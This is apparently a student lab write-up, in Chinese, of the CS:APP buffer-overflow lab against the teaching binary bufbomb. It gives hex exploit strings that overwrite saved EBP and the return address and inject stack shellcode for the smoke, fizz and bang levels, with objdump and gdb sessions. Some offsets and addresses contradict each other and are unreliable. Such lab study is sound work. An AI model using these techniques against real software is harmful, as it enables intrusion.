此次实验的目的在于加深对 IA-32 过程调用规则和栈结构的具体理解。实验的主要内容是对一个可执行程序“bufbomb”实施一系列缓冲区溢出攻击(buffer overflow attacks),也就是设法通过造成缓冲区溢出来改变该程序的运行内存映像(例如将专门设计的字节序列插 入到栈中特定内存位置)和行为,以实现实验预定的目标。
实验中需要针对目标可执行程序 bufbomb,分别完成多个难度递增的缓冲区溢出攻击。
6个难度逐级递增的实验级别:
每级实验需根据任务目标,设计、构造1个攻击字符串, 对目标程序实施缓冲区溢出攻击,完成相应目标
在本实验中,首先你需要从下列链接下载包含本实验相关文件的一个 tar 文件:
http://cs.nju.edu.cn/sufeng/course/mooc/0809NJU064_buflab.tar
可在 Linux 实验环境中使用命令“tar xvf 0809NJU064_buflab.tar”将其中包含的文件 提取到当前目录中。该 tar 文件中包含如下实验所需文件:
如图所示,bufbomb中main函数调用了launcher函数,launcher函数调用了launch函数,launch函数进一步调用了test函数,而test函数又调用了getbuf函数。在实验中目标程序被攻击的地方,实际上位于getbuf函数中,可以看到test函数还有一个名为testn的版本,同样getbuf函数也有一个getbufn的版本。
testn、getbufn仅在Nitro模式(Level 4 :kaboom)中被调用,其它级别均调用 test、getbuf函数,最后一个实验级别kaboom中,launch,testn,getbufn函数会被反复调用多次(默认为5次),以测试所实现攻击的鲁棒性,只有当连续5次攻击都成功时,才认为完成了最后的实验级别。
作为被目标攻击的目标程序,bufbomb程序中容易被实施缓冲区溢出攻击的弱点,实际上位于前面所示函数调用层次最下层的那个getbuf函数中。
/* Buffer size for getbuf */
int getbuf()
{
other variables ...;
char buf[NORMAL_BUFFER_SIZE];
Gets(buf);
return 1;
}
在这个getbuf函数中首先定义了一个长度固定为NORMAL_BUFFER_SIZE的字符数组,然后调用Gets函数向数组中写入字符串。其中,过程 Gets 类似于标准库过程 gets,它从标准输入读入一个字符串(以换行‘\n’或 文件结束 end-of-file 字符结尾),并将字符串(以 null 空字符结尾)存入指定的目标内存位 置。在 getbuf 过程代码中,目标内存位置是具有 NORMAL_BUFFER_SIZE 个字节存储空间的 数组 buf,而 NORMAL_BUFFER_SIZE 是大于等于 32 的一个常数。
过程 **Gets()**并不判断 buf 数组是否足够大而只是简单地向目标地址复制全部输入 字符串,因此有可能超出预先分配的存储空间边界,即缓冲区溢出。如果用户输入给 getbuf() 的字符串不超过(NORMAL_BUFFER_SIZE-1)个字符长度的话,很明显 **getbuf()**将正常返回 1。
如下列运行所示:
但是,如果输入一个更长的字符串,则可能会发生类似下列的错误:
为了理解缓冲区溢出攻击的原理,以过程调用的基于栈桢的机器级实现机制来进一步理解。
栈桢:当前执行过程在内存中对应的一个区域,其中保存了当前局部变量和调用现场等重要的状态信息,每个过程在执行时都对应自己的栈桢区域。
如图中所示,当一个过程调用另外一个过程时,被调用过程会生成一个自己的栈桢。在IA32 Linux平台上,它位于比调用过程的栈桢更低的内存地址上。在一个过程的栈桢中,一开始保存的是由该过程保存的寄存器的原始内容,其中取决于过程的具体实现指令,通常最先保存的是栈桢基址寄存器EBP在调用过程中的原始值,又称为旧值。而EBP寄存器的当前值就是指向栈桢中该旧值的存储位置,它标示了当前过程的栈桢的起始位置,在栈桢其后的存储位置中保存了本过程定义和使用的非静态的局部变量。其中前面介绍的getbuf函数中的buf字符数组就是位于此处,可见Gets函数向buf的数组的写入操作如果超出了数组的边界,会改写和破坏栈中其它重要的信息。包括上面所述的局部变量和寄存器的旧值。
具体来讲,随着字符串数据自buf数组的起始位置开始不断的被写入,数据将逐步填充buf数组的存储空间,当写入操作超出了buf数组的边界以后,将进一步依次覆盖,改写保存的寄存器的值。接下来的写入操作将超出当前过程的栈桢的边界,进入到调用过程的栈桢,并首先改写其中保存的一个重要信息——返回地址,该返回地址是当前过程执行结束后,控制返回调用过程时将被执行的指令的地址,一旦缓冲区写入溢出过程中被改写为不正确的值或者指向恶意的指令代码,将使程序的执行逻辑在当前过程结束后发生错误,或者转去执行恶意代码。这就是缓冲区溢出攻击得以实现的基本原理,即超出栈桢中数组缓冲区的存储边界,向栈桢中写入任意数据,从而破坏栈桢的结构。
void test()
{
int val;
/* Put canary on stack to detect possible corruption */
volatile int local = uniqueval();
val = getbuf();
/*Checkforcorruptedstack*/
if (local != uniqueval()) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val); validate(3);
}
else {
printf("Dud: getbuf returned 0x%x\n", val);
}
}
被攻击的包含缓冲区写入逻辑的getbuf函数在程序中被test函数所调用后序正常情况下应该从test函数中
getbuf调用后的第一条语句开始继续执行,这是程序的正常行为,因为test函数栈帧最后保存的返回地址单元中保存的值,在正常情况下,是指向 test函数中调用getbuf函数的call指令后 的第一条指令的地址。然而本实验各阶段的目的是改变该行为。
由于攻击字符串(exploit string)可能包含不属于 ASCII 可打印字符集合的字节取值, 因而无法直接编辑输入。为此,实验提供了工具程序 hex2raw 帮助构造这样的字符串。该程序从标准输入接收一个采用十六进制格式编码的字符串(其中使用两个十六进制数字对攻击字符串中每一字节的值进行编码表示,不同目标字节的编码之间用空格或换行等空白字符分 隔),进一步将输入的每对编码数字转为二进制数表示的单个目标字节并逐一送往标准输出。
注意,为方便理解攻击字符串的组成和内容,可以用换行分隔攻击字符串的编码表示中 的不同部分,这并不会影响字符串的解释和转换。hex2raw 程序还支持 C 语言风格的块注释 以便为攻击字符串添加注释,增加了转换前攻击字符串的可读性(如下例),这同样不影响字符串的解释与使用。
bf 66 7b 32 78 / mov $0x78327b66,%edi */*
注意务必要在开始与结束注释字符串(“/”和“/”)前后保留空白字符,以便注释部分被 程序正确忽略。
另外,注意:
攻击字符串中不能包含值为 0x0A 的字节,因为该字符对应换行符‘\n’,当 Gets过程遇到该字符时将认为该位置为字符串的结束,从而忽略其后的字符串内容。
由于 hex2raw 期望字节由两个十六进制格式的数字表示,因此如果想构造一个值为 0 的字节,应指定 00 进一步,可将上述十六进制数字对序列形式的攻击字符串(例如“68 ef cd ab 00 83 c0 11 98 ba dc fe”)保存于一文本文件中,用于测试等。
以下是一个攻击字符串的示例:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00
/* begin of buffer */
20 35 68 55 /* new %ebp */
b7 34 68 55 /* new address */
如前所述,本实验部分阶段的正确解答基于从 bufbomb 命令行选项 userid计算生成的 cookie 值。一个 cookie 是由 8 个 16 进制数 字组成的一个字节序列(例如 0x1005b2b7),对每一个 userid 是唯一的。可以如下使用 makecookie 程序生成对应特定 userid 的 cookie,即将 userid 作为 makecookie 程序的唯一 参数。
0x420e0c1b 即为 0809NJU064 对应的 cookie 值。
可将攻击字符串保存在一文件 solution.txt 中,使用如下命令(将参数[userid]替换为自己想要改成的Id )测试攻击字符串在 bufbomb 上的运行结果,并与相应难度级的期望输出对比,以验证相应实验阶段通过与否。
linux>cat solution.txt | ./hex2raw | ./bufbomb -u [userid]
上述命令使用一系列管道操作符将程序 hex2raw 从编码字符串转换得到的目标攻击字节序 列输入 bufbomb 程序中进行测试。
除上述方式以外,还可以如下将攻击字符串的二进制字节序列存于一个文件中,并使用 I/O 重定向将其输入给 bufbomb:
linux>./hex2raw < solution.txt > solution-raw.txt
linux>./bufbomb -u [userid] < solution-raw.txt
该方法也可用于在 GDB 中运行 bufbomb 的情况:
linux>gdb bufbomb
(gdb) run -u [userid] < solution-raw.txt
当你设计的攻击字符串成功完成了预定的缓冲区溢出攻击目标,例如实验 Level 0 (smoke),程序将输出类似如下的信息,提示你的攻击字符串(此例中保存于文件 smoke.txt 中)设计正确:
./hex2raw < smoke.txt | ./bufbomb -u 0809NJU064
Userid: 0809NJU064
Cookie: 0x420e0c1b
Type string:Smoke!: You called smoke()
VALID
NICE JOB!
本实验各个级别的求解过程,都包括类似的如下三个主要步骤。
反汇编二进制目标程序bufbomb,获得其汇编指令代码
从汇编指令中分析获得getbuf函数执行时的栈 帧结构,定位buf数组缓冲区在栈帧中的位置
根据栈帧中需要改变的目标信息及其与缓冲区 的相对位置,设计攻击字符串
各个实验的不同级别的主要差别就在地三步,也就是说在不同级别里面需要改变的目标信息各不相同,因此,在在设计攻击字符串的时候,会有不同攻击字符串的设计解答。
构造攻击字符串,使得bufbomb目标程序在 getbuf函数执行return语句后,不是返回到test函数继续 执行,而是转而执行bufbomb程序中的smoke函数:
void smoke() {
printf("Smoke!: You called smoke()\n"); validate(0);
exit(0);
}
利用objdump反汇编bufbomb执行文件,并将反汇编结果保存到bufbomb.txt文件中方便查看。
objdump -d bufbomb>bufbomb.txt
其中getbuf的汇编代码:
08049c5a <getbuf>:
8049c5a: 55 push %ebp
8049c5b: 89 e5 mov %esp,%ebp
8049c5d: 83 ec 48 sub $0x48,%esp
8049c60: 83 ec 0c sub $0xc,%esp
8049c63: 8d 45 c7 lea -0x39(%ebp),%eax
8049c66: 50 push %eax
8049c67: e8 b9 fa ff ff call 8049725 <Gets>
8049c6c: 83 c4 10 add $0x10,%esp
8049c6f: b8 01 00 00 00 mov $0x1,%eax
8049c74: c9 leave
8049c75: c3 ret
如汇编指令所示,getbuf函数在调用Gets函数时,将缓冲区数组的起始地址作为参数压入栈中,并传递给Gets函数,从汇编指令可以看出,buf缓冲区开始于栈桢中地址EBP-0x39处,该参数的值即缓冲区的起始地址。是EBP寄存器的值减去0x39换成十进制就是57,基于以上分析和getbuf函数的汇编代码,我们可以画出如下图所示的getbuf函数的栈桢结构,以及其调用函数test的栈桢的底部区域结构:
在内存高地址上是test函数的栈桢,其底部保存的是返回地址,即其所调用的getbuf函数结束后将跳转到并继续执行的指令地址,在正常情况下这个地址是test函数中调用getbuf函数后的下一条指令的地址,在返回地址下面是ge tbuf函数栈桢的开始部分,保存了EBP寄存器在test函数中执行的旧值,getbuf栈桢中再往下就是buf数组缓冲区的存储空间。为了实施攻击我们需要获得该缓冲区确切的起始地址,如上面的getbuf汇编指令所示,getbuf函数在调用Gets函数时将缓冲区数组的起始地址作为参数压入栈中,并传递给了Gets函数,进一步我们可以从汇编指令看到,该参数的值就是缓冲区的起始地址,是EBP寄存器的值减去Ox39。
另一方面,getbuf函数结束后,即执行最后的ret语句时, 将取出保存于test函数栈桢中的返回地址并跳转至它继续执行,如果我们把该返回地址的值改为本级别实验的目标——smoke函数饿首条指令的地址,则getbuf函数返回时,就会转到smoke函数执行,即达到了实验的目标。
由栈桢结构可以看出,返回地址在栈桢中的地址是EBP寄存器的值加4,因此该返回地址的保存地址与缓冲区的起始地址之间相差:0x39+4 = 61个字节,也就是说如果向缓冲区写入66个字节后,再写入4个字节,将改写返回地址的值。
将攻击字符串中自第67个字节开始的4个字节设置为实验的目标跳转地址,即smoke函数首条指令的地址,我们搜索bufbomb目标程序的反汇编代码可以发现smoke函数的首条指令的地址是0x080493e8,因此我们可以如下构造字符串:
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 /* end of buffer */
00 11 22 33 /* saved %ebp */
e8 93 04 08 /* smoke() address */
前57个字节用于填充缓冲区,与实验目标无关,因此可以随意设置,接着的4个字节改写了栈桢中所保存EBP寄存器的旧值,也与实验目标无关同样可以随意设置,再接下来的四个字节将用于改写栈桢中所保存的返回地址,因此我们把它们设置为smoke函数首条指令的地址,按照iA-32平台的小端顺序方式,这四个字节依次是 e8 93 04 08 ,这样当攻击字符串被Gets函数写入缓冲区后,栈桢中保存的返回地址将被修改为指向smoke函数。这样,当getbuf函数结束后,将跳转到函数smoke执行,从而实现了实验目标。
在smoke.txt文件中我们写入了以上构造的攻击字符串,首先使用hex2raw程序把它转化为实际的攻击字符串,并把它保存在smoke-raw.txt文件中。
./hex2raw < smoke.txt > smoke-raw.txt
利用gdb命令启动并调试bufbomb程序
gdb bufbomb
由bufbomb程序的汇编指令可以看出,我们需要观察getbuf函数调用Gets函数前和后栈桢中的内容是否发生了变化,因此我们会在调用Gets函数的call指令之前设置一个断点,在其后在设置一个断点,以方便我们来观察getbuf函数在这两个断点处它的栈桢和它的调用函数的栈桢也就是test函数的栈桢是否有发生变化。
在Gets函数调用之前和设置断点,两个断点的地址分别是0x8049c66和0x8049c6c。
(gdb) b *0x8049c66
Breakpoint 1 at 0x8049c66
(gdb) b *0x8049c6c
Breakpoint 2 at 0x8049c6c
(gdb)
启动目标程序运行,指定命令行选项-u后跟用户ID,并把我们保存的攻击字符串文件smoke-raw.txt通过重定向操作符输入到目标程序中。
(gdb) r -u 631807060623 < smoke-raw.txt
Starting program: /home/xjh/Desktop/buf/bufbomb -u 631807060623 < smoke-raw.txt
Userid: 631807060623
Cookie: 0x6822364a
Breakpoint 1, 0x08049c66 in getbuf ()
运行完后,程序中断在我们的第一个断点处,也就是停在了gebuf函数中调用Gets函数之前的下条指令地址。查看EBP寄存器——给出了getbuf函数栈桢的起始地址的寄存器内容。
(gdb) print $ebp
$1 = (void *) 0x556833c0 <_reserved+1037248>
在gebuf函数之上是test函数的栈桢,在test函数栈桢的最后存放的是一个返回地址,这个返回地址应该是在test函数调用getbuf函数的call指令之后的那条指令的地址,由test函数的汇编代码可以知道,调用gebuf函数的call指令的地址是0x804959b,在执行这条call指令的时候,一是把call指令的下条指令也就是mov指令的地址 80495a8压入栈中作为返回地址,因此bufbomb程序正常执行时,test函数调用gebuf函数时,正确的返回地址是0x80495a0。
0804958d <test>:
804958d: 55 push %ebp
804958e: 89 e5 mov %esp,%ebp
8049590: 83 ec 18 sub $0x18,%esp
8049593: e8 4c 04 00 00 call 80499e4 <uniqueval>
8049598: 89 45 f0 mov %eax,-0x10(%ebp)
804959b: e8 ba 06 00 00 call 8049c5a <getbuf>
80495a0: 89 45 f4 mov %eax,-0xc(%ebp)
80495a3: e8 3c 04 00 00 call 80499e4 <uniqueval>
80495a8: 89 c2 mov %eax,%edx
80495aa: 8b 45 f0 mov -0x10(%ebp),%eax
80495ad: 39 c2 cmp %eax,%edx
80495af: 74 12 je 80495c3 <test+0x36>
80495b1: 83 ec 0c sub $0xc,%esp
80495b4: 68 34 b1 04 08 push $0x804b134
80495b9: e8 62 fb ff ff call 8049120 <puts@plt>
80495be: 83 c4 10 add $0x10,%esp
80495c1: eb 41 jmp 8049604 <test+0x77>
80495c3: 8b 55 f4 mov -0xc(%ebp),%edx
80495c6: a1 00 d3 04 08 mov 0x804d300,%eax
80495cb: 39 c2 cmp %eax,%edx
80495cd: 75 22 jne 80495f1 <test+0x64>
80495cf: 83 ec 08 sub $0x8,%esp
80495d2: ff 75 f4 pushl -0xc(%ebp)
80495d5: 68 5d b1 04 08 push $0x804b15d
80495da: e8 81 fa ff ff call 8049060 <printf@plt>
80495df: 83 c4 10 add $0x10,%esp
80495e2: 83 ec 0c sub $0xc,%esp
80495e5: 6a 04 push $0x4
80495e7: e8 eb 07 00 00 call 8049dd7 <validate>
80495ec: 83 c4 10 add $0x10,%esp
80495ef: eb 13 jmp 8049604 <test+0x77>
80495f1: 83 ec 08 sub $0x8,%esp
80495f4: ff 75 f4 pushl -0xc(%ebp)
80495f7: 68 7a b1 04 08 push $0x804b17a
80495fc: e8 5f fa ff ff call 8049060 <printf@plt>
8049601: 83 c4 10 add $0x10,%esp
8049604: 90 nop
8049605: c9 leave
8049606: c3 ret
在gebuf函数之上是test函数的栈桢,也就是test函数的栈桢的最后一项是返回地址,其中返回地址的存储地址应该是EBP寄存器的值加上4,查看EBP寄存器加上4存放的返回地址。
(gdb) x/xw 0x556833c4
0x556833c4 <_reserved+1037252>: 0x080495a
可以看到它就是我们前面反汇编结果中看到的调用getbuf函数的call指令的下条指令的地址,这就验证上面所分析的结果。
使用c命令继续运行,程序中断在了第二个断点处,也就是停在了gebuf函数中调用Gets函数之后的下条指令地址。
(gdb) c
Continuing.
Breakpoint 2, 0x08049c6c in getbuf ()
到这里,攻击字符串已经被Gets函数读入栈桢中的缓冲区,并且可能覆盖了栈桢的一些关键信息,查看返回地址的值是否发生变化。
(gdb) x/xw 0x556833c4
0x556833c4 <_reserved+1037252>: 0x080493e8
可以看到返回地址的存储位置上的值已经变成了0x080493e8,这就是我们在攻击字符串中设置的指向了smoke函数的第一条指令的地址。
继续运行目标程序。
(gdb) c
Continuing.
Type string:Smoke!: You called smoke()
VALID
NICE JOB!
[Inferior 1 (process 2638) exited normally]
出现了一些文本,通过这些文本可以看出我们的确成功调用了smoke函数,也就是成功完成了Level 0: smoke的实验任务。
本实验级别的任务是让 bufbomb 程序在其中的 getbuf 过程执行 return 语句后转而执行 fizz 过程的代码,而不是返回到 test 过程。
void fizz(int val)
{
if (val == cookie) {
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
}
else
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}
不过,与 Level 0 的 smoke 过程 不同,fizz 过程需要一个输入参数,如上列代码所示,本级别要求设法使该参数的值等于使makecookie 得到的 cookie 值。
在本缓冲区溢出攻击实验中,我们并不能修改bufbomb目标程序中的任何指令和数据,包括fizz函数中的比较和条件分支指令以及cookie全局变量的值,所能改变的只是getbuf函数栈桢结构中的部分内容。
fizz函数汇编指令:
08049415 <fizz>:
8049415: 55 push %ebp
8049416: 89 e5 mov %esp,%ebp
8049418: 83 ec 08 sub $0x8,%esp
804941b: 8b 55 08 mov 0x8(%ebp),%edx
804941e: a1 00 d3 04 08 mov 0x804d300,%eax
8049423: 39 c2 cmp %eax,%edx
8049425: 75 22 jne 8049449 <fizz+0x34>
8049427: 83 ec 08 sub $0x8,%esp
804942a: ff 75 08 pushl 0x8(%ebp)
804942d: 68 66 b0 04 08 push $0x804b066
8049432: e8 29 fc ff ff call 8049060 <printf@plt>
8049437: 83 c4 10 add $0x10,%esp
804943a: 83 ec 0c sub $0xc,%esp
804943d: 6a 01 push $0x1
804943f: e8 93 09 00 00 call 8049dd7 <validate>
8049444: 83 c4 10 add $0x10,%esp
8049447: eb 13 jmp 804945c <fizz+0x47>
8049449: 83 ec 08 sub $0x8,%esp
804944c: ff 75 08 pushl 0x8(%ebp)
804944f: 68 84 b0 04 08 push $0x804b084
8049454: e8 07 fc ff ff call 8049060 <printf@plt>
8049459: 83 c4 10 add $0x10,%esp
804945c: 83 ec 0c sub $0xc,%esp
804945f: 6a 00 push $0x0
8049461: e8 ca fc ff ff call 8049130 <exit@plt>
fizz函数接受一个整形的val参数,在函数体中被用来与一个全局变量cookie进行比较。由汇编代码可以看出,其两个寄存器操作数的值分别拷贝自静态数据区,地址0x804d300,和栈中的地址0x8(%ebp),其中地址0x8(%ebp)处存放的就是fizz函数的调用参数val的值,因此0x804d300处存放的就是全局变量cookie的值,为达到实验的目标我们应设法使两个值相等。要使 0x8049423地址处的cmp比较指令能够得到相等的结果。应满足下列两个条件之一:
地址0x8(%ebp)实际上就是EBP寄存器的值加上8,要它等于已知的目标数值0x804d300相等,实际上就是想要EBP寄存器的值等于 :0x804d300 -0x8 ,也就是等于0x804d2f8。
因为在本实验并不能修改bufbomb目标程序中的任何指令和数据,因此不可以通过增加指令的方法来直接设置EBP寄存器的值,但是可以发现getbuf函数最后由一条leave指令,这条指令将从栈中弹出函数开始阶段保存的EBP旧值并保存到EBP寄存器中。另一方面栈桢中缓冲区起始地址以上的存储单元的值包括保存了EBP旧值的存储单元,都可以通过缓冲区的溢出,用攻击字符串的内容进行改写,这样就提供了一种间接修改EBP寄存器中值的方法。
对于第2点,目标地址不应像Level 0那样设为fizz函数的首指令地址,因为fizz函数的第二条指令**“mov %esp,%ebp”**将覆盖掉在之前getbuf结束时通过leave指令设置的EBP寄存器中的目标值。本实验并不要求真地调用fizz函数,所以可以直接跳转fizz函数中在cmp比较指令前读取EBP寄存器中值的相应指令。综上所属我们可以构造如下攻击字符串:
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66/* end of buffer */
f8 d2 04 08
1b 94 04 08
前57个字节用于填充缓冲区,与实验目标无关,可以随意设置。接下来的4个字节用于改写栈桢中保存的EBP寄存器中旧值,也就是用于间接设置EBP寄存器的值,因此我们把这四个字节设置为EBP寄存器中的目标值,即全局变量cookid的地址,0x804d300 -0x8 ,等于0x804d2f8,并且按照小端顺序组织,再接着的4个字节将改写栈桢中保存的返回地址,把它设置为fizz函数中在比较指令之前读取EBP寄存器中值的指令 mov 0x8(%ebp),%edx它的地址0x804941b,同样按照小端顺序组织。这样的攻击字符串同时修改了栈桢中保存的EBP的旧值和返回地址。首先通过getbuf函数最后的leave指令,实现对EBP寄存器中值的设置,然后通过ret指令跳转到目标fizz函数中相应指令执行,从而实现了实验目标。
在fizz.txt文件中我们写入了以上构造的攻击字符串,使用hex2raw程序把它转化为实际的攻击字符串,并把它保存在fizz-raw.txt文件中。
./hex2raw < fizz.txt > fizz-raw.txt
利用gdb命令启动并调试bufbomb程序
gdb bufbomb
我们需要观察getbuf函数调用Gets函数前和后栈桢中的内容是否发生了变化,因此我们依旧会在调用Gets函数的call指令之前设置一个断点,在其后在设置一个断点,以方便我们来观察getbuf函数在读入攻击字符串前和后栈桢中重要信息是否发生了改变。
在Gets函数调用之前和设置断点,两个断点的地址分别是0x8049c66和0x8049c6c。
(gdb) b *0x8049c66
Breakpoint 1 at 0x8049c66
(gdb) b *0x8049c6c
Breakpoint 2 at 0x8049c6c
(gdb)
启动目标程序运行,指定命令行选项-u后跟用户ID,并把我们保存的攻击字符串文件fizz-raw.txt通过重定向操作符输入到目标程序中。
(gdb) r -u 631807060623 < fizz-raw.txt
Starting program: /home/xjh/Desktop/buf/bufbomb -u 631807060623 < fizz-raw.txt
Userid: 631807060623
Cookie: 0x6822364a
Breakpoint 1, 0x08049c66 in getbuf ()
运行完后,程序中断在我们的第一个断点处,也就是停在了gebuf函数中调用Gets函数之前的下条指令地址。查看EBP寄存器——该地址存放getbuf函数调用函数test里的EBP寄存器的旧值。
(gdb) print $ebp
$1 = (void *) 0x556833c0 <_reserved+1037248>
查看EBP寄存器的旧值。
(gdb) x/xw 0x556833c0
0x556833c0 <_reserved+1037248>: 0x556833e0
结果显示EBP寄存器的旧值是556833e0,在之后的攻击字符串将要改写这个值,同样的攻击字符串还会改写返回地址。返回地址存放在栈桢中EBP寄存器的值加上4这个地址的内存单元,查看它的值以方便后续做比较观察是否变化。
(gdb) x/xw 0x556833c4
0x556833c4 <_reserved+1037252>: 0x080495a0
可以看到它就是我们前面反汇编结果中看到的调用getbuf函数的call指令的下条指令的地址,因此getbuf函数结束后将返回到test函数正常执行。
使用c命令继续运行,程序中断在了第二个断点处,也就是停在了gebuf函数中调用Gets函数之后的下条指令地址。
(gdb) c
Continuing.
Breakpoint 2, 0x08049c6c in getbuf ()
到这里,攻击字符串已经被Gets函数读入栈桢中的缓冲区。查看EBP寄存器的旧值是否改变。
(gdb) x/xw 0x556833c0
0x556833c0 <_reserved+1037248>: 0x0804d2f8
可以看到EBP寄存器的旧值的存储位置上的值已经变成了0x0804d2f8,这就是我们在攻击字符串中设置的cookie全局变量的地址减去8以后的结果。也就是说攻击字符串已经把栈桢中保存的EBP寄存器的旧值改变。
查看返回地址的值是否发生变化。
(gdb) x/xw 0x556833c4
0x556833c4 <_reserved+1037252>: 0x0804941b
可以看到返回地址的存储位置上的值已经变成了0x0804941b,这就是我们在攻击字符串中设置的指向了fizz函数中在比较指令之前读取EBP寄存器中值的地址。
继续运行目标程序,观察攻击字符串对栈桢的修改是否有效。
(gdb) c
Continuing.
Type string:Fizz!: You called fizz(0x6822364a)
VALID
NICE JOB!
[Inferior 1 (process 67757) exited normally]
程序输出可以看出我们成功调用了fizz函数,也就是成功完成了Level 1: fizz的实验任务。
更复杂的缓冲区攻击将在攻击字符串中包含实际的机器指令,并通过攻击字符串将原返回地址指针改写为位于栈上的攻击机器指令的开始地址。这样,当调用过程(这里是 getbuf)执行 ret 指令时,程序将开始执行攻击代码而不是返回上层过程。
使用这种攻击方式可以使被攻击程序执行任何操作。随攻击字符串被放置到栈上的代码称为攻击代码(exploit code)。然而,此类攻击具有一定难度,因为必须设法将攻击机器代码置入栈中,并且将返回地址指向攻击代码的起始位置。
在 bufbomb 程序中,有一个bang过程,代码如下:
int global_value = 0;
void bang(int val)
{
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n",global_value);
validate(2);
}
else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}
本实验级别的任务是让 bufbomb 执行 bang 过程中的代码而不是返回到 test 过程继续执行。具体来讲,攻击代码应首先将全局变量 global_value 设置 为对应 userid的 cookie 值,再将 bang 过程的地址压入栈中,然后执行一条 ret 指令从而跳至 bang 过程的代码继续执行。
bang函数的汇编代码:
08049466 <bang>:
8049466: 55 push %ebp
8049467: 89 e5 mov %esp,%ebp
8049469: 83 ec 08 sub $0x8,%esp
804946c: a1 08 d3 04 08 mov 0x804d308,%eax //全局变量cookie的值
8049471: 89 c2 mov %eax,%edx
8049473: a1 00 d3 04 08 mov 0x804d300,%eax //global_value的值
8049478: 39 c2 cmp %eax,%edx
804947a: 75 25 jne 80494a1 <bang+0x3b>
804947c: a1 08 d3 04 08 mov 0x804d308,%eax
8049481: 83 ec 08 sub $0x8,%esp
8049484: 50 push %eax
8049485: 68 a4 b0 04 08 push $0x804b0a4
804948a: e8 d1 fb ff ff call 8049060 <printf@plt>
804948f: 83 c4 10 add $0x10,%esp
8049492: 83 ec 0c sub $0xc,%esp
8049495: 6a 02 push $0x2
8049497: e8 3b 09 00 00 call 8049dd7 <validate>
804949c: 83 c4 10 add $0x10,%esp
804949f: eb 16 jmp 80494b7 <bang+0x51>
80494a1: a1 08 d3 04 08 mov 0x804d308,%eax
80494a6: 83 ec 08 sub $0x8,%esp
80494a9: 50 push %eax
80494aa: 68 c9 b0 04 08 push $0x804b0c9
80494af: e8 ac fb ff ff call 8049060 <printf@plt>
80494b4: 83 c4 10 add $0x10,%esp
80494b7: 83 ec 0c sub $0xc,%esp
80494ba: 6a 00 push $0x0
80494bc: e8 6f fc ff ff call 8049130 <exit@plt>
通过bang函数的汇编代码可以看得到,global_value的地址是0x804d300,cookie的地址是0x804d308,为了完成实验的目的,我们首先需要将全局变量 global_value 设置 为对应 userid的 cookie 值,再将 bang 过程的地址压入栈中,然后执行一条 ret 指令从而跳至 bang 过程的代码继续执行。除此之外,我们还需要找到input string存放的位置作为第一次ret 指令的目标位置。
先将global_value 用mov指令变cookie (0x0804d308 前不加$ 表示地址),然后将bang()函数地址0x08049466写给esp,再执行ret指令时,程序自动跳入bang()函数,也就是如下所示:
movl $0x6822364a, 0x0804d308
pushl $0x08049466
ret
指令 gcc -m32 -c bang.s 将assembly code写成machine code -->bang.o再用objdump -d bang.o 读取machine code。
将指令代码写入攻击文件,除此之外我们还需要找到input string存放的位置作为第一次ret 指令的目标位置,经过gdb调试分析getbuf()申请的字节缓冲区首地址为**<0x55683387>**,综上所属我们可以构造如下攻击字符串:
c7 05 00 d3 04 08 4a 36 22 68
68 66 94 04 08 c3 00 11 22 33
44 55 66 77 88 99 00 11 22 33
44 55 66 77 88 99 00 11 22 33
44 55 66 77 88 99 00 11 22 33
44 55 66 77 88 99 00 /* end of buffer */
00 11 22 33
87 33 68 55
前16个个字节就是我们自定义设计的指令代码,然后接下来的41个字节用于填充缓冲区,与实验目标无关,可以随意设置,接着的4个字节改写了栈桢中所保存EBP寄存器的旧值,也与实验目标无关同样可以随意设置,可以随意设置。最后四个字节我们保存input string存放的位置作为第一次ret 指令的目标位置。
在bang.txt文件中我们写入了以上构造的攻击字符串,使用hex2raw程序把它转化为实际的攻击字符串,并把它保存在bang-raw.txt文件中。
./hex2raw < bang.txt > bang-raw.txt
利用gdb命令启动并调试bufbomb程序
gdb bufbomb
我们需要观察getbuf函数调用Gets函数前和后栈桢中的内容是否发生了变化,因此我们依旧会在调用Gets函数的call指令之前设置一个断点,在其后在设置一个断点,以方便我们来观察getbuf函数在读入攻击字符串前和后栈桢中重要信息是否发生了改变。
在Gets函数调用之前和设置断点,两个断点的地址分别是0x8049c66和0x8049c6c。
(gdb) b *0x8049c66
Breakpoint 1 at 0x8049c66
(gdb) b *0x8049c6c
Breakpoint 2 at 0x8049c6c
(gdb)
启动目标程序运行,指定命令行选项-u后跟用户ID,并把我们保存的攻击字符串文件fizz-raw.txt通过重定向操作符输入到目标程序中。
(gdb) r -u 631807060623 < bang-raw.txt
Starting program: /home/xjh/Desktop/buf/bufbomb -u 631807060623 < bang-raw.txt
Userid: 631807060623
Cookie: 0x6822364a
Breakpoint 1, 0x08049c66 in getbuf ()
运行完后,程序中断在我们的第一个断点处,也就是停在了gebuf函数中调用Gets函数之前的下条指令地址。查看EBP寄存器——该地址存放getbuf函数调用函数test里的EBP寄存器的旧值。
(gdb) print $ebp
$1 = (void *) 0x556833c0 <_reserved+1037248>
同样的攻击字符串还会改写返回地址。返回地址存放在栈桢中EBP寄存器的值加上4这个地址的内存单元,查看它的值以方便后续做比较观察是否变化。
(gdb) x/xw 0x556833c4
0x556833c4 <_reserved+1037252>: 0x080495a0
可以看到它就是我们前面反汇编结果中看到的调用getbuf函数的call指令的下条指令的地址。
使用c命令继续运行,程序中断在了第二个断点处,也就是停在了gebuf函数中调用Gets函数之后的下条指令地址。
(gdb) c
Continuing.
Breakpoint 2, 0x08049c6c in getbuf ()
查看返回地址的值是否发生变化。
(gdb) x/xw 0x556833c4
0x556833c4 <_reserved+1037252>: 0x55683387
